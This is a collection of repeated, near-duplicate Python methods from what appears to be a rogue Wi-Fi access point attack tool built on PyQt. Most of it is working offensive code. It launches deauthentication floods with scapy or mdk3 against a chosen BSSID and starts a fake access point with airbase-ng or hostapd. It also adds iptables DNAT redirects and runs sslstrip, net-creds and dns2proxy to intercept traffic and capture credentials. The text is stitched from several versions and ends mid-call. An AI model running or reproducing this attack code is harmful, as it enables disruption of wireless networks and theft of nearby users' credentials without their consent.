def SettingsScan(self): self.ApsCaptured = {} self.data = {'Bssid': [], 'Essid': [], 'Channel': []} if self.get_placa.currentText() == "": QMessageBox.information(self, "Network Adapter", 'Network Adapter Not found try again.') else: self.interface = str( set_monitor_mode(self.get_placa.currentText()).setEnable()) self.configure.xmlSettings("interface", "monitor_mode", self.interface, False) self.btn_scan_stop.setEnabled(True) self.btn_scan_start.setEnabled(False) if self.interface != None: if self.options_scan == "scan_scapy": self.threadScanAP = ThreadScannerAP(self.interface) self.connect(self.threadScanAP, SIGNAL('Activated ( QString ) '), self.monitorThreadScan) self.threadScanAP.setObjectName('Thread Scanner AP::scapy') self.threadScanAP.start() else: if path.isfile( popen('which airodump-ng').read().split("\n")[0]): self.thread_airodump = threading.Thread( target=self.scan_diveces_airodump) self.thread_airodump.daemon = True self.thread_airodump.start() else: QMessageBox.information(self, 'Error airodump', 'airodump-ng not installed') set_monitor_mode( self.get_placa.currentText()).setDisable()
def attack_deauth(self): global threadloading if hasattr(self,'threadScanAP'): if not self.threadScanAP.stopped: return QMessageBox.warning(self,'scanner','you need to stop the scanner Access Point') if hasattr(self,'thread_airodump'): if self.thread_airodump.isAlive(): return QMessageBox.warning(self,'scanner','you need to stop the scanner Access Point') self.btn_stop.setEnabled(True) self.btn_enviar.setEnabled(False) if self.linetarget.text() == '': QMessageBox.information(self, 'Target Error', 'Please, first select Target for attack') else: self.bssid = str(self.linetarget.text()) self.deauth_check = self.configure.xmlSettings('deauth', 'select',None,False) self.args = str(self.configure.xmlSettings('mdk3','arguments', None, False)) self.interface = str(set_monitor_mode(self.get_placa.currentText()).setEnable()) if self.deauth_check == 'packets_scapy': self.AttackStatus(True) threadDeauth = ThreadDeauth(self.bssid,str(self.input_client.text()),self.interface) threadloading['deauth'].append(threadDeauth) threadDeauth.setObjectName('Deauth scapy') threadDeauth.start() else: if path.isfile(popen('which mdk3').read().split("\n")[0]): self.AttackStatus(True) t = ProcessThread(('mdk3 %s %s %s'%(self.interface,self.args,self.bssid)).split()) t.name = 'Thread mdk3' threadloading['mdk3'].append(t) t.start() else: QMessageBox.information(self,'Error mdk3','mkd3 not installed') set_monitor_mode(self.get_placa.currentText()).setDisable()
def StopProbeResquest(self): # disable mode monitor card and stop attack self.ThreadProbe.stop() set_monitor_mode(self.get_placa.currentText()).setDisable() self.btn_stop.setEnabled(False) self.btn_scan.setEnabled(True) self.StartedProbe(False)
def kill(self): if self.Apthreads['RougeAP'] == []: return self.ProxyPluginsTAB.GroupSettings.setEnabled(True) self.FSettings.xmlSettings('statusAP', 'value', 'False', False) for thread in self.Apthreads['RougeAP']: thread.stop() for kill in self.SettingsAP['kill']: Popen(kill.split(), stdout=PIPE, shell=False, stderr=PIPE) set_monitor_mode(self.ConfigTwin['AP_iface']).setDisable() self.Started(False) self.Apthreads['RougeAP'] = [] self.APclients = {} lines = [] if self.ProxyPluginsTAB.log_inject.count() > 0: with open('Logs/AccessPoint/injectionPage.log', 'w') as injectionlog: for index in xrange(self.ProxyPluginsTAB.log_inject.count()): lines.append( str( self.ProxyPluginsTAB.log_inject.item( index).text())) for log in lines: injectionlog.write(log + '\n') injectionlog.close() with open('Settings/dhcp/dhcpd.leases', 'w') as dhcpLease: dhcpLease.write(''), dhcpLease.close() self.btn_start_attack.setDisabled(False) Refactor.set_ip_forward(0) self.TabInfoAP.clearContents() if hasattr(self.FormPopup, 'Ftemplates'): self.FormPopup.Ftemplates.killThread() self.FormPopup.StatusServer(False)
def kill(self): if self.Apthreads['RougeAP'] == []: return self.ProxyPluginsTAB.GroupSettings.setEnabled(True) self.FSettings.xmlSettings('statusAP','value','False',False) for thread in self.Apthreads['RougeAP']: thread.stop() for kill in self.SettingsAP['kill']: Popen(kill.split(), stdout=PIPE,shell=False,stderr=PIPE) set_monitor_mode(self.ConfigTwin['AP_iface']).setDisable() self.Started(False) self.Apthreads['RougeAP'] = [] self.APclients = {} lines = [] if self.ProxyPluginsTAB.log_inject.count()>0: with open('Logs/AccessPoint/injectionPage.log','w') as injectionlog: for index in xrange(self.ProxyPluginsTAB.log_inject.count()): lines.append(str(self.ProxyPluginsTAB.log_inject.item(index).text())) for log in lines: injectionlog.write(log+'\n') injectionlog.close() with open('Settings/dhcp/dhcpd.leases','w') as dhcpLease: dhcpLease.write(''),dhcpLease.close() self.btn_start_attack.setDisabled(False) Refactor.set_ip_forward(0) self.TabInfoAP.clearContents() if hasattr(self.FormPopup,'Ftemplates'): self.FormPopup.Ftemplates.killThread() self.FormPopup.StatusServer(False)
def kill(self): if self.Apthreads['RougeAP'] == []: return self.ProxyPluginsTAB.GroupSettings.setEnabled(True) self.FSettings.Settings.set_setting('accesspoint','statusAP',False) if hasattr(self,'dockAreaList'): for dock in self.dockAreaList.keys(): self.dockAreaList[dock].clear() self.dockAreaList[dock].stopProcess() self.PumpSettingsTAB.GroupArea.setEnabled(True) for thread in self.Apthreads['RougeAP']: thread.stop() for kill in self.SettingsAP['kill']: Popen(kill.split(), stdout=PIPE,shell=False,stderr=PIPE) Refactor.settingsNetworkManager(self.ConfigTwin['AP_iface'],Remove=True) set_monitor_mode(self.ConfigTwin['AP_iface']).setDisable() self.Started(False) self.progress.setValue(1) self.progress.change_color('') self.Apthreads['RougeAP'] = [] self.APclients = {} lines = [] if self.ProxyPluginsTAB.log_inject.count()>0: with open('Logs/AccessPoint/injectionPage.log','w') as injectionlog: for index in xrange(self.ProxyPluginsTAB.log_inject.count()): lines.append(str(self.ProxyPluginsTAB.log_inject.item(index).text())) for log in lines: injectionlog.write(log+'\n') injectionlog.close() with open('/var/lib/dhcp/dhcpd.leases','w') as dhcpLease: dhcpLease.write(''),dhcpLease.close() self.btn_start_attack.setDisabled(False) popen('ulimit -n 1024') Refactor.set_ip_forward(0) self.TabInfoAP.clearContents() if hasattr(self.FormPopup,'Ftemplates'): self.FormPopup.Ftemplates.killThread() self.FormPopup.StatusServer(False)
def attack_deauth(self): global threadloading if hasattr(self,'threadScanAP'): if not self.threadScanAP.stopped: return QMessageBox.warning(self,'scanner','you need to stop the scanner Access Point') if hasattr(self,'thread_airodump'): if self.thread_airodump.isAlive(): return QMessageBox.warning(self,'scanner','you need to stop the scanner Access Point') self.btn_stop.setEnabled(True) self.btn_enviar.setEnabled(False) if self.linetarget.text() == '': QMessageBox.information(self, 'Target Error', 'Please, first select Target for attack') else: self.bssid = str(self.linetarget.text()) self.deauth_check = self.xmlcheck.xmlSettings('deauth', 'select',None,False) self.args = str(self.xmlcheck.xmlSettings('mdk3','arguments', None, False)) self.interface = str(set_monitor_mode(self.get_placa.currentText()).setEnable()) if self.deauth_check == 'packets_scapy': self.AttackStatus(True) threadDeauth = ThreadDeauth(self.bssid,str(self.input_client.text()),self.interface) threadloading['deauth'].append(threadDeauth) threadDeauth.setObjectName('Deauth scapy') threadDeauth.start() else: if path.isfile(popen('which mdk3').read().split("\n")[0]): self.AttackStatus(True) t = ProcessThread(('mdk3 %s %s %s'%(self.interface,self.args,self.bssid)).split()) t.name = 'Thread mdk3' threadloading['mdk3'].append(t) t.start() else: QMessageBox.information(self,'Error mdk3','mkd3 not installed') set_monitor_mode(self.get_placa.currentText()).setDisable()
def attack_deauth(self): global threadloading if hasattr(self, "threadScanAP"): if not self.threadScanAP.stopped: return QMessageBox.warning(self, "scanner", "you need to stop the scanner Access Point") if hasattr(self, "thread_airodump"): if self.thread_airodump.isAlive(): return QMessageBox.warning(self, "scanner", "you need to stop the scanner Access Point") self.btn_stop.setEnabled(True) self.btn_enviar.setEnabled(False) if self.linetarget.text() == "": QMessageBox.information(self, "Target Error", "Please, first select Target for attack") else: self.bssid = str(self.linetarget.text()) self.deauth_check = self.xmlcheck.xmlSettings("deauth", "select", None, False) self.args = str(self.xmlcheck.xmlSettings("mdk3", "arguments", None, False)) self.interface = str(set_monitor_mode(self.get_placa.currentText()).setEnable()) if self.deauth_check == "packets_scapy": self.AttackStatus(True) threadDeauth = ThreadDeauth(self.bssid, str(self.input_client.text()), self.interface) threadloading["deauth"].append(threadDeauth) threadDeauth.setObjectName("Deauth scapy") threadDeauth.start() else: if path.isfile(popen("which mdk3").read().split("\n")[0]): self.AttackStatus(True) t = ProcessThread(("mdk3 %s %s %s" % (self.interface, self.args, self.bssid)).split()) t.name = "Thread mdk3" threadloading["mdk3"].append(t) t.start() else: QMessageBox.information(self, "Error mdk3", "mkd3 not installed") set_monitor_mode(self.get_placa.currentText()).setDisable()
def StartProbeResquest(self): if self.get_placa.currentText() == '': return QMessageBox.information(self, 'Network Adapter', 'Network Adapter Not found try again.') set_monitor_mode(self.get_placa.currentText()).setEnable() self.ThreadProbe = ThreadProbeScan(str(self.get_placa.currentText())) self.connect(self.ThreadProbe,SIGNAL('Activated ( QString ) '), self.threadReceiveScan) self.ThreadProbe.setObjectName('::ThreadScanProbe') self.ThreadProbe.start() self.StartedProbe(True)
def StartProbeResquest(self): if self.get_placa.currentText() == '': return QMessageBox.information(self, 'Network Adapter', 'Network Adapter Not found try again.') self.btn_stop.setEnabled(True) self.btn_scan.setEnabled(False) set_monitor_mode(self.get_placa.currentText()).setEnable() self.ThreadProbe = ThreadProbeScan(str(self.get_placa.currentText())) self.connect(self.ThreadProbe,SIGNAL('Activated ( QString ) '), self.threadReceiveScan) self.ThreadProbe.setObjectName('::ThreadScanProbe') self.ThreadProbe.start() self.StartedProbe(True)
def closeEvent(self, event): iwconfig = Popen(['iwconfig'], stdout=PIPE,shell=False,stderr=PIPE) for i in iwconfig.stdout.readlines(): if search('Mode:Monitor',i): reply = QMessageBox.question(self, 'About Exit','Are you sure to quit?', QMessageBox.Yes | QMessageBox.No, QMessageBox.No) if reply == QMessageBox.Yes: set_monitor_mode(i.split()[0]).setDisable() event.accept() return
def closeEvent(self, event): outputiwconfig = popen('iwconfig').readlines() for i in outputiwconfig: if search('Mode:Monitor',i): reply = QMessageBox.question(self, 'About Exit','Are you sure to quit?', QMessageBox.Yes | QMessageBox.No, QMessageBox.No) if reply == QMessageBox.Yes: event.accept() set_monitor_mode(i.split()[0]).setDisable() return event.ignore()
def closeEvent(self, event): iwconfig = Popen(['iwconfig'], stdout=PIPE, shell=False, stderr=PIPE) for i in iwconfig.stdout.readlines(): if search('Mode:Monitor', i): reply = QMessageBox.question(self, 'About Exit', 'Are you sure to quit?', QMessageBox.Yes | QMessageBox.No, QMessageBox.No) if reply == QMessageBox.Yes: set_monitor_mode(i.split()[0]).setDisable() event.accept() return
def closeEvent(self, event): outputiwconfig = popen("iwconfig").readlines() for i in outputiwconfig: if search("Mode:Monitor", i): reply = QMessageBox.question( self, "About Exit", "Are you sure to quit?", QMessageBox.Yes | QMessageBox.No, QMessageBox.No ) if reply == QMessageBox.Yes: event.accept() set_monitor_mode(i.split()[0]).setDisable() return event.ignore()
def kill(self): if self.Apthreads['RougeAP'] == []: return self.FSettings.xmlSettings('statusAP','value','False',False) for i in self.Apthreads['RougeAP']:i.stop() for kill in self.SettingsAP['kill']:popen(kill) set_monitor_mode(self.ConfigTwin['interface']).setDisable() self.Started(False) self.Apthreads['RougeAP'] = [] self.APclients = {} with open('Settings/dhcp/dhcpd.leases','w') as dhcpLease: dhcpLease.write(''),dhcpLease.close() self.btn_start_attack.setDisabled(False) Refactor.set_ip_forward(0) self.TabInfoAP.clearContents() try: self.FormPopup.Ftemplates.killThread() self.FormPopup.StatusServer(False) except AttributeError as e: print e
def kill(self): if self.Apthreads['RougeAP'] == []: return self.FSettings.xmlSettings('statusAP','value','False',False) for i in self.Apthreads['RougeAP']:i.stop() for kill in self.SettingsAP['kill']:popen(kill) set_monitor_mode(self.ConfigTwin['interface']).setDisable() self.Started(False) self.Apthreads['RougeAP'] = [] self.APclients = {} with open('Settings/dhcp/dhcpd.leases','w') as dhcpLease: dhcpLease.write(''),dhcpLease.close() self.btn_start_attack.setDisabled(False) Refactor.set_ip_forward(0) self.TabInfoAP.clearContents() try: self.FormPopup.Ftemplates.killThread() self.FormPopup.StatusServer(False) except AttributeError as e: print e
def kill(self): if self.Apthreads['RougeAP'] == []: return self.ProxyPluginsTAB.GroupSettings.setEnabled(True) self.FSettings.Settings.set_setting('accesspoint', 'statusAP', False) if hasattr(self, 'dockAreaList'): for dock in self.dockAreaList.keys(): self.dockAreaList[dock].clear() self.dockAreaList[dock].stopProcess() self.PumpSettingsTAB.GroupArea.setEnabled(True) for thread in self.Apthreads['RougeAP']: thread.stop() for kill in self.SettingsAP['kill']: Popen(kill.split(), stdout=PIPE, shell=False, stderr=PIPE) Refactor.settingsNetworkManager(self.ConfigTwin['AP_iface'], Remove=True) set_monitor_mode(self.ConfigTwin['AP_iface']).setDisable() self.Started(False) self.progress.setValue(1) self.progress.change_color('') self.Apthreads['RougeAP'] = [] self.APclients = {} lines = [] if self.ProxyPluginsTAB.log_inject.count() > 0: with open('Logs/AccessPoint/injectionPage.log', 'w') as injectionlog: for index in xrange(self.ProxyPluginsTAB.log_inject.count()): lines.append( str( self.ProxyPluginsTAB.log_inject.item( index).text())) for log in lines: injectionlog.write(log + '\n') injectionlog.close() with open('/var/lib/dhcp/dhcpd.leases', 'w') as dhcpLease: dhcpLease.write(''), dhcpLease.close() self.btn_start_attack.setDisabled(False) popen('ulimit -n 1024') Refactor.set_ip_forward(0) self.TabInfoAP.clearContents() if hasattr(self.FormPopup, 'Ftemplates'): self.FormPopup.Ftemplates.killThread() self.FormPopup.StatusServer(False)
def closeEvent(self, event): iwconfig = Popen(['iwconfig'], stdout=PIPE,shell=False,stderr=PIPE) for i in iwconfig.stdout.readlines(): if search('Mode:Monitor',i): self.reply = QMessageBox.question(self, 'About Exit','Are you sure to quit?', QMessageBox.Yes | QMessageBox.No, QMessageBox.No) if self.reply == QMessageBox.Yes: set_monitor_mode(i.split()[0]).setDisable() return event.accept() if self.form_widget.Apthreads['RougeAP'] != []: self.reply = QMessageBox.question(self, 'About Access Point','Are you sure to stop all threads AP ?', QMessageBox.Yes | QMessageBox.No, QMessageBox.No) if self.reply == QMessageBox.Yes: print('killing all threads...') self.form_widget.kill() return event.accept() if hasattr(self,'reply'): event.ignore()
def closeEvent(self, event): iwconfig = Popen(['iwconfig'], stdout=PIPE, shell=False, stderr=PIPE) for i in iwconfig.stdout.readlines(): if search('Mode:Monitor', i): self.reply = QMessageBox.question( self, 'About Exit', 'Are you sure to quit?', QMessageBox.Yes | QMessageBox.No, QMessageBox.No) if self.reply == QMessageBox.Yes: set_monitor_mode(i.split()[0]).setDisable() return event.accept() if self.form_widget.Apthreads['RougeAP'] != []: self.reply = QMessageBox.question( self, 'About Access Point', 'Are you sure to stop all threads AP ?', QMessageBox.Yes | QMessageBox.No, QMessageBox.No) if self.reply == QMessageBox.Yes: print('killing all threads...') self.form_widget.kill() return event.accept() if hasattr(self, 'reply'): event.ignore()
def kill(self): if self.Apthreads["RougeAP"] == []: return self.FSettings.xmlSettings("statusAP", "value", "False", False) for i in self.Apthreads["RougeAP"]: i.stop() for kill in self.SettingsAP["kill"]: popen(kill) set_monitor_mode(self.ConfigTwin["interface"]).setDisable() self.Started(False) self.Apthreads["RougeAP"] = [] self.APclients = {} with open("Settings/dhcp/dhcpd.leases", "w") as dhcpLease: dhcpLease.write(""), dhcpLease.close() self.btn_start_attack.setDisabled(False) Refactor.set_ip_forward(0) self.TabInfoAP.clearContents() try: self.FormPopup.Ftemplates.killThread() self.FormPopup.StatusServer(False) except AttributeError as e: print e
def SettingsScan(self): self.ApsCaptured = {} self.data = {'Bssid':[], 'Essid':[], 'Channel':[]} if self.get_placa.currentText() == "": QMessageBox.information(self, "Network Adapter", 'Network Adapter Not found try again.') else: self.interface = str(set_monitor_mode(self.get_placa.currentText()).setEnable()) self.configure.xmlSettings("interface", "monitor_mode", self.interface, False) self.btn_scan_stop.setEnabled(True) self.btn_scan_start.setEnabled(False) if self.interface != None: if self.options_scan == "scan_scapy": self.threadScanAP = ThreadScannerAP(self.interface) self.connect(self.threadScanAP,SIGNAL('Activated ( QString ) '), self.monitorThreadScan) self.threadScanAP.setObjectName('Thread Scanner AP::scapy') self.threadScanAP.start() else: if path.isfile(popen('which airodump-ng').read().split("\n")[0]): self.thread_airodump = threading.Thread(target=self.scan_diveces_airodump) self.thread_airodump.daemon = True self.thread_airodump.start() else: QMessageBox.information(self,'Error airodump','airodump-ng not installed') set_monitor_mode(self.get_placa.currentText()).setDisable()
def StopProbeResquest(self): self.ThreadProbe.stop() self.StartedProbe(False) set_monitor_mode(self.get_placa.currentText()).setDisable()
def StartApFake(self): if len(self.selectCard.currentText()) == 0: return QMessageBox.warning(self,'Error interface ','Network interface is not found') if len(self.EditGateway.text()) == 0: return QMessageBox.warning(self,'Error Gateway','gateway is not found') if not self.ConfigTwin['ProgCheck'][5]: return QMessageBox.information(self,'Error Hostapd','hostapd is not installed') dhcp_select = self.FSettings.xmlSettings('dhcp','dhcp_server',None,False) if dhcp_select == 'iscdhcpserver': if not self.ConfigTwin['ProgCheck'][3]: return QMessageBox.warning(self,'Error dhcp','isc-dhcp-server is not installed') elif dhcp_select == 'dnsmasq': if not self.ConfigTwin['ProgCheck'][4]: return QMessageBox.information(self,'Error dhcp','dnsmasq is not installed') if str(Refactor.get_interfaces()['activated']).startswith('wl'): return QMessageBox.information(self,'Error network card', 'You are connected with interface wireless, try again with local connection') self.btn_start_attack.setDisabled(True) self.APactived = self.FSettings.xmlSettings('accesspoint','actived',None,False) if self.APactived == 'airbase-ng': self.ConfigTwin['interface'] = str(set_monitor_mode(self.selectCard.currentText()).setEnable()) self.FSettings.xmlSettings('interface', 'monitor_mode',self.ConfigTwin['interface'],False) # airbase thread Thread_airbase = ProcessThread(['airbase-ng', '-c', str(self.EditChannel.text()), '-e', self.EditApName.text(), '-F', 'Logs/Caplog/'+asctime(),self.ConfigTwin['interface']]) Thread_airbase.name = 'Airbase-ng' self.Apthreads['RougeAP'].append(Thread_airbase) Thread_airbase.start() # settings while True: if Thread_airbase.iface != None: self.ConfigTwin['AP_iface'] = [x for x in Refactor.get_interfaces()['all'] if search('at',x)][0] self.FSettings.xmlSettings('netcreds', 'interface',self.ConfigTwin['AP_iface'],False) break self.CoreSettings() elif self.APactived == 'hostapd': self.FSettings.xmlSettings('netcreds','interface', str(self.selectCard.currentText()),False) self.ConfigTwin['AP_iface'] = str(self.selectCard.currentText()) try: check_output(['nmcli','radio','wifi',"off"]) except CalledProcessError: try: check_output(['nmcli','nm','wifi',"off"]) except CalledProcessError as e: return QMessageBox.warning(self,'Error nmcli',e) call(['rfkill', 'unblock' ,'wifi']) self.CoreSettings() ignore = ('interface=','ssid=','channel=') with open('Settings/hostapd.conf','w') as apconf: for i in self.SettingsAP['hostapd']:apconf.write(i) for config in str(self.FSettings.ListHostapd.toPlainText()).split('\n'): if not config.startswith('#') and len(config) > 0: if not config.startswith(ignore): apconf.write(config+'\n') apconf.close() self.Thread_hostapd = ProcessHostapd(['hostapd','-d','Settings/hostapd.conf']) self.Thread_hostapd.setObjectName('hostapd') self.Thread_hostapd.statusAP_connected.connect(self.GetHostapdStatus) self.Apthreads['RougeAP'].append(self.Thread_hostapd) self.Thread_hostapd.start() # thread dhcp selected_dhcp = self.FSettings.xmlSettings('dhcp','dhcp_server',None,False) if selected_dhcp == 'iscdhcpserver': Thread_dhcp = ThRunDhcp(['sudo','dhcpd','-d','-f','-lf','Settings/dhcp/dhcpd.leases','-cf', '/etc/dhcp/dhcpd.conf',self.ConfigTwin['AP_iface']]) Thread_dhcp.sendRequest.connect(self.GetDHCPRequests) Thread_dhcp.setObjectName('DHCP') self.Apthreads['RougeAP'].append(Thread_dhcp) Thread_dhcp.start() ##### dnsmasq disabled # elif selected_dhcp == 'dnsmasq': # Thread_dhcp = ThRunDhcp(['dnsmasq','-C','Core/config/dnsmasq.conf','-d']) # self.connect(Thread_dhcp ,SIGNAL('Activated ( QString ) '), self.dhcpLog) # Thread_dhcp .setObjectName('DHCP') # self.Apthreads['RougeAP'].append(Thread_dhcp) # Thread_dhcp .start() else:return QMessageBox.information(self,'DHCP',selected_dhcp + ' not found.') self.Started(True) self.ProxyPluginsTAB.GroupSettings.setEnabled(False) self.FSettings.xmlSettings('statusAP','value','True',False) if self.FSettings.check_redirect.isChecked() or not self.PopUpPlugins.check_sslstrip.isChecked(): popen('iptables -t nat -A PREROUTING -p udp -j DNAT --to {}'.format(str(self.EditGateway.text()))) self.FSettings.xmlSettings('sslstrip_plugin','status','False',False) self.PopUpPlugins.check_sslstrip.setChecked(False) self.PopUpPlugins.unset_Rules('sslstrip') if self.PopUpPlugins.check_sslstrip.isChecked() or not self.PopUpPlugins.check_dns2proy.isChecked(): popen('iptables -t nat -A PREROUTING -p udp -j DNAT --to {}'.format(str(self.EditGateway.text()))) # load ProxyPLugins self.plugin_classes = Plugin.PluginProxy.__subclasses__() self.plugins = {} for p in self.plugin_classes: self.plugins[p._name] = p() # thread plugins if self.PopUpPlugins.check_sslstrip.isChecked() and not self.PopUpPlugins.check_sergioProxy.isChecked(): self.Threadsslstrip = Thread_sslstrip(self.ConfigTwin['PortRedirect'], self.plugins,self.ProxyPluginsTAB._PluginsToLoader) self.Threadsslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(self.Threadsslstrip) self.Threadsslstrip.start() elif not self.PopUpPlugins.check_sslstrip.isChecked() and self.PopUpPlugins.check_sergioProxy.isChecked(): self.Threadsslstrip = Thread_sergioProxy(self.ConfigTwin['PortRedirect'], self.plugins,self.ProxyPluginsTAB._PluginsToLoader) self.Threadsslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(self.Threadsslstrip) self.Threadsslstrip.start() elif self.PopUpPlugins.check_sergioProxy.isChecked() and self.PopUpPlugins.check_sergioProxy.isChecked(): self.Threadsslstrip = Thread_sergioProxy(self.ConfigTwin['PortRedirect'], self.plugins,self.ProxyPluginsTAB._PluginsToLoader) self.Threadsslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(self.Threadsslstrip) self.Threadsslstrip.start() if self.PopUpPlugins.check_netcreds.isChecked(): Thread_netcreds = ProcessThread(['python','Plugins/net-creds/net-creds.py','-i', self.FSettings.xmlSettings('netcreds', 'interface',None,False)]) Thread_netcreds.setName('Net-Creds') self.Apthreads['RougeAP'].append(Thread_netcreds) Thread_netcreds.start() if self.PopUpPlugins.check_dns2proy.isChecked(): Thread_dns2proxy = ProcessThread(['python','Plugins/dns2proxy/dns2proxy.py']) Thread_dns2proxy.setName('Dns2Proxy') self.Apthreads['RougeAP'].append(Thread_dns2proxy) Thread_dns2proxy.start() iptables = [] for index in xrange(self.FSettings.ListRules.count()): iptables.append(str(self.FSettings.ListRules.item(index).text())) for rules in iptables: if search('--append FORWARD --in-interface', rules):popen(rules.replace('$$',self.ConfigTwin['AP_iface'])) elif search('--append POSTROUTING --out-interface',rules): popen(rules.replace('$$',str(Refactor.get_interfaces()['activated']))) else:popen(rules)
def StartApFake(self): if len(self.selectCard.currentText()) == 0: return QMessageBox.warning(self,'Error interface','Network interface not supported :(') if len(self.EditGateway.text()) == 0: return QMessageBox.warning(self,'Error Gateway','gateway not found') if not self.ConfigTwin['ProgCheck'][5]: return QMessageBox.information(self,'Error Hostapd','hostapd not installed') dhcp_select = self.FSettings.xmlSettings('dhcp','dhcp_server',None,False) if dhcp_select == 'iscdhcpserver': if not self.ConfigTwin['ProgCheck'][3]: return QMessageBox.warning(self,'Error dhcp','isc-dhcp-server not installed') elif dhcp_select == 'dnsmasq': if not self.ConfigTwin['ProgCheck'][4]: return QMessageBox.information(self,'Error dhcp','dnsmasq not installed') if str(Refactor.get_interfaces()['activated']).startswith('wlan'): return QMessageBox.information(self,'Error network card', 'You are connected with interface wireless, try again with local connection') self.btn_start_attack.setDisabled(True) self.APactived = self.FSettings.xmlSettings('accesspoint','actived',None,False) if self.APactived == 'airbase-ng': self.ConfigTwin['interface'] = str(set_monitor_mode(self.selectCard.currentText()).setEnable()) self.FSettings.xmlSettings('interface', 'monitor_mode',self.ConfigTwin['interface'],False) # airbase thread Thread_airbase = ProcessThread(['airbase-ng', '-c', str(self.EditChannel.text()), '-e', self.EditApName.text(), '-F', 'Logs/Caplog/'+asctime(),self.ConfigTwin['interface']]) Thread_airbase.name = 'Airbase-ng' self.Apthreads['RougeAP'].append(Thread_airbase) Thread_airbase.start() # settings while True: if Thread_airbase.iface != None: self.ConfigTwin['AP_iface'] = [x for x in Refactor.get_interfaces()['all'] if search('at',x)][0] self.FSettings.xmlSettings('netcreds', 'interface',self.ConfigTwin['AP_iface'],False) break self.CoreSettings() elif self.APactived == 'hostapd': self.FSettings.xmlSettings('netcreds','interface', str(self.selectCard.currentText()),False) self.ConfigTwin['AP_iface'] = str(self.selectCard.currentText()) try: check_output(['nmcli','radio','wifi',"off"]) except CalledProcessError: try: check_output(['nmcli','nm','wifi',"off"]) except CalledProcessError as e: return QMessageBox.warning(self,'Error nmcli',e) call(['rfkill', 'unblock' ,'wlan']) self.CoreSettings() ignore = ('interface=','ssid=','channel=') with open('Settings/hostapd.conf','w') as apconf: for i in self.SettingsAP['hostapd']:apconf.write(i) for config in str(self.FSettings.ListHostapd.toPlainText()).split('\n'): if not config.startswith('#') and len(config) > 0: if not config.startswith(ignore): apconf.write(config+'\n') apconf.close() self.Thread_hostapd = ProcessHostapd(['hostapd','-d','Settings/hostapd.conf']) self.Thread_hostapd.setObjectName('hostapd') self.Thread_hostapd.statusAP_connected.connect(self.GetHostapdStatus) self.Apthreads['RougeAP'].append(self.Thread_hostapd) self.Thread_hostapd.start() # thread dhcp selected_dhcp = self.FSettings.xmlSettings('dhcp','dhcp_server',None,False) if selected_dhcp == 'iscdhcpserver': Thread_dhcp = ThRunDhcp(['sudo','dhcpd','-d','-f','-lf','Settings/dhcp/dhcpd.leases','-cf', '/etc/dhcp/dhcpd.conf',self.ConfigTwin['AP_iface']]) Thread_dhcp.sendRequest.connect(self.GetDHCPRequests) Thread_dhcp.setObjectName('DHCP') self.Apthreads['RougeAP'].append(Thread_dhcp) Thread_dhcp.start() ##### dnsmasq disabled # elif selected_dhcp == 'dnsmasq': # Thread_dhcp = ThRunDhcp(['dnsmasq','-C','Core/config/dnsmasq.conf','-d']) # self.connect(Thread_dhcp ,SIGNAL('Activated ( QString ) '), self.dhcpLog) # Thread_dhcp .setObjectName('DHCP') # self.Apthreads['RougeAP'].append(Thread_dhcp) # Thread_dhcp .start() else:return QMessageBox.information(self,'DHCP',selected_dhcp + ' not found.') self.Started(True) self.FSettings.xmlSettings('statusAP','value','True',False) if self.FSettings.check_redirect.isChecked() or not self.PopUpPlugins.check_sslstrip.isChecked(): popen('iptables -t nat -A PREROUTING -p udp -j DNAT --to {}'.format(str(self.EditGateway.text()))) self.FSettings.xmlSettings('sslstrip_plugin','status','False',False) self.PopUpPlugins.check_sslstrip.setChecked(False) self.PopUpPlugins.unset_Rules('sslstrip') # thread plugins if self.PopUpPlugins.check_sslstrip.isChecked(): Thread_sslstrip = Threadsslstrip(self.ConfigTwin['PortRedirect']) Thread_sslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(Thread_sslstrip) Thread_sslstrip.start() if self.PopUpPlugins.check_netcreds.isChecked(): Thread_netcreds = ProcessThread(['python','Plugins/net-creds/net-creds.py','-i', self.FSettings.xmlSettings('netcreds', 'interface',None,False)]) Thread_netcreds.setName('Net-Creds') self.Apthreads['RougeAP'].append(Thread_netcreds) Thread_netcreds.start() if self.PopUpPlugins.check_dns2proy.isChecked(): Thread_dns2proxy = ProcessThread(['python','Plugins/dns2proxy/dns2proxy.py']) Thread_dns2proxy.setName('Dns2Proxy') self.Apthreads['RougeAP'].append(Thread_dns2proxy) Thread_dns2proxy.start() iptables = [] for index in xrange(self.FSettings.ListRules.count()): iptables.append(str(self.FSettings.ListRules.item(index).text())) for rules in iptables: if search('--append FORWARD --in-interface', rules):popen(rules.replace('$$',self.ConfigTwin['AP_iface'])) elif search('--append POSTROUTING --out-interface',rules): popen(rules.replace('$$',str(Refactor.get_interfaces()['activated']))) else:popen(rules)
def StopProbeResquest(self): self.ThreadProbe.stop() self.StartedProbe(False) set_monitor_mode(self.get_placa.currentText()).setDisable()
def StartApFake(self): if len(self.selectCard.currentText()) == 0: return QMessageBox.warning(self, "Error interface", "Network interface not supported :(") if len(self.EditGateway.text()) == 0: return QMessageBox.warning(self, "Error Gateway", "gateway not found") if not self.ConfigTwin["ProgCheck"][5]: return QMessageBox.information(self, "Error Hostapd", "hostapd not installed") dhcp_select = self.FSettings.xmlSettings("dhcp", "dhcp_server", None, False) if dhcp_select == "iscdhcpserver": if not self.ConfigTwin["ProgCheck"][3]: return QMessageBox.warning(self, "Error dhcp", "isc-dhcp-server not installed") elif dhcp_select == "dnsmasq": if not self.ConfigTwin["ProgCheck"][4]: return QMessageBox.information(self, "Error dhcp", "dnsmasq not installed") if str(Refactor.get_interfaces()["activated"]).startswith("wlan"): return QMessageBox.information( self, "Error network card", "You are connected with interface wireless, try again with local connection" ) self.btn_start_attack.setDisabled(True) self.APactived = self.FSettings.xmlSettings("accesspoint", "actived", None, False) if self.APactived == "airbase-ng": self.ConfigTwin["interface"] = str(set_monitor_mode(self.selectCard.currentText()).setEnable()) self.FSettings.xmlSettings("interface", "monitor_mode", self.ConfigTwin["interface"], False) # airbase thread Thread_airbase = ProcessThread( [ "airbase-ng", "-c", str(self.EditChannel.text()), "-e", self.EditApName.text(), "-F", "Logs/Caplog/" + asctime(), self.ConfigTwin["interface"], ] ) Thread_airbase.name = "Airbase-ng" self.Apthreads["RougeAP"].append(Thread_airbase) Thread_airbase.start() # settings while True: if Thread_airbase.iface != None: self.ConfigTwin["AP_iface"] = [x for x in Refactor.get_interfaces()["all"] if search("at", x)][0] self.FSettings.xmlSettings("netcreds", 